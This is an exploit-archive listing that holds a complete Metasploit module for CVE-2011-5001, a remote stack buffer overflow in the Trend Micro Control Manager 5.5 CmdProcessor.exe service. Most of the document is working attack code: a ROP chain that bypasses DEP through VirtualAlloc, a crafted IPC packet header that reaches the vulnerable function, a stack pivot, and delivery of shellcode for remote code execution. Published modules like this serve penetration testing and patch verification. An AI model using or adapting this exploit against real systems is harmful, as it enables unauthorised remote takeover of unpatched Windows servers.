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TrendMicro Control Manager 5.5 Buffer Overflow

TrendMicro Control Manager 5.5 Buffer Overflow
Posted Feb 24, 2012
Authored by blue, Luigi Auriemma | Site metasploit.com

This Metasploit module exploits a vulnerability in the CmdProcessor.exe component of Trend Micro Control Manager up to version 5.5. The specific flaw exists within CmdProcessor.exe service running on TCP port 20101. The vulnerable function is the CGenericScheduler::AddTask function of cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet, controlled data is copied into a 256-byte stack buffer. This can be exploited to execute remote code under the context of the user.

tags | exploit, remote, tcp
advisories | CVE-2011-5001, OSVDB-77585
MD5 | 7ddef7492fc7b4ecaa024912ce5d983a

TrendMicro Control Manager 5.5 Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info={})
super(update_info(info,
'Name' => "TrendMicro Control Manger <= v5.5 CmdProcessor.exe Stack Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability in the CmdProcessor.exe component of Trend
Micro Control Manger up to version 5.5.

The specific flaw exists within CmdProcessor.exe service running on TCP port
20101. The vulnerable function is the CGenericScheduler::AddTask function of
cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet,
controlled data is copied into a 256-byte stack buffer. This can be exploited
to execute remote code under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', #Initial discovery
'Blue', #Metasploit
],
'References' =>
[
['CVE', '2011-5001'],
['OSVDB', '77585'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-345/']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Targets' =>
[
[
# TCM 5.5 cannot be installed in Win2k3 SP0-SP1, Win2k8, or XP
'Windows 2003 Server SP2 (DEP Bypass)',
{
'Ret' => 0x666b34c8, # TMNotify.dll stack pivot
'Offset' => 5000
}
],
],
'Privileged' => false,
'DisclosureDate' => "Dec 07 2011",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(20101)
], self.class)
end

def junk
return rand_text(4).unpack("L")[0].to_i
end

def exploit

#TmUpdate.dll
rop_chain = [
0x668074d4, # POP EDX # OR AL,0F6 # RETN
0x3FCD0FFC, # Put 00001000 into edx
0x667611b2, # ADD EDX,C0330004 # RETN 04
0x667c99e7, # POP EBP # RETN [TmUpdate.dll]
junk,
0x667c99e7, # skip 4 bytes [TmUpdate.dll]
0x667e3250, # POP EBX # RETN [TmUpdate.dll]
0xffffffff, # NEG EBX
0x6683ab64, # INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]
0x6683ab64, # INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]
0x6680a1d3, # POP EAX # RETN [TmUpdate.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x66812b53, # NEG EAX # RETN [TmUpdate.dll]
0x667f030a, # MOV ECX,EAX # RETN [TmUpdate.dll]
0x667d4c7c, # POP EDI # RETN [TmUpdate.dll]
0x667e8003, # RETN (ROP NOP) [TmUpdate.dll]
0x667d54d0, # POP ESI # RETN [TmUpdate.dll]
0x667baf06, # JMP [EAX] [TmUpdate.dll]
0x66833376, # POP EAX # RETN [TmUpdate.dll]
0x6686115c, # ptr to &VirtualAlloc() [IAT TmUpdate.dll]
0x6681ceb3, # PUSHAD # RETN [TmUpdate.dll]
0x668382c3, # ptr to 'call esp' [TmUpdate.dll]
].pack('V*')
#rop chain generated by mona.py

header = "\x00\x00"
header << "\x13\x88" #size of buffer
header << rand_text_alpha(9)
header << "\x15\x09\x13" #opcode
header << "\x00\x00\x00"
header << rand_text_alpha(25)
header << "\xFE\xFF\xFF\xFF" #in instruction #MOV EDI,DWORD PTR DS:[EAX+ECX] #ECX is our buffer and needs to be readable dword
header << "\xFF\xFF\xFF\xFF" #after sum with EAX. Pointer from EAX increments by #LEA EAX,DWORD PTR DS:[EAX+EDI+4] and then is saved
header << "\xFF\xFF\xF4\xFF" #and used again. We can essentially walk the loop which increments EBX by 1 until we get to 14 which leads
header << "\xFF\xFF" #us to our vulnerable function
header << rand_text_alpha(1) #align stack again for rop

pay = rop_chain
pay << make_nops(374 - rop_chain.length)
pay << "\xeb\x04" #Short jmp 0x04
pay << [target.ret].pack('V')
pay << payload.encoded

sploit = header
sploit << pay

filler = rand_text_alpha(target['Offset'] - (sploit.length))

connect
print_status("Sending request...")
sock.put(sploit + filler)
handler
disconnect

end

end

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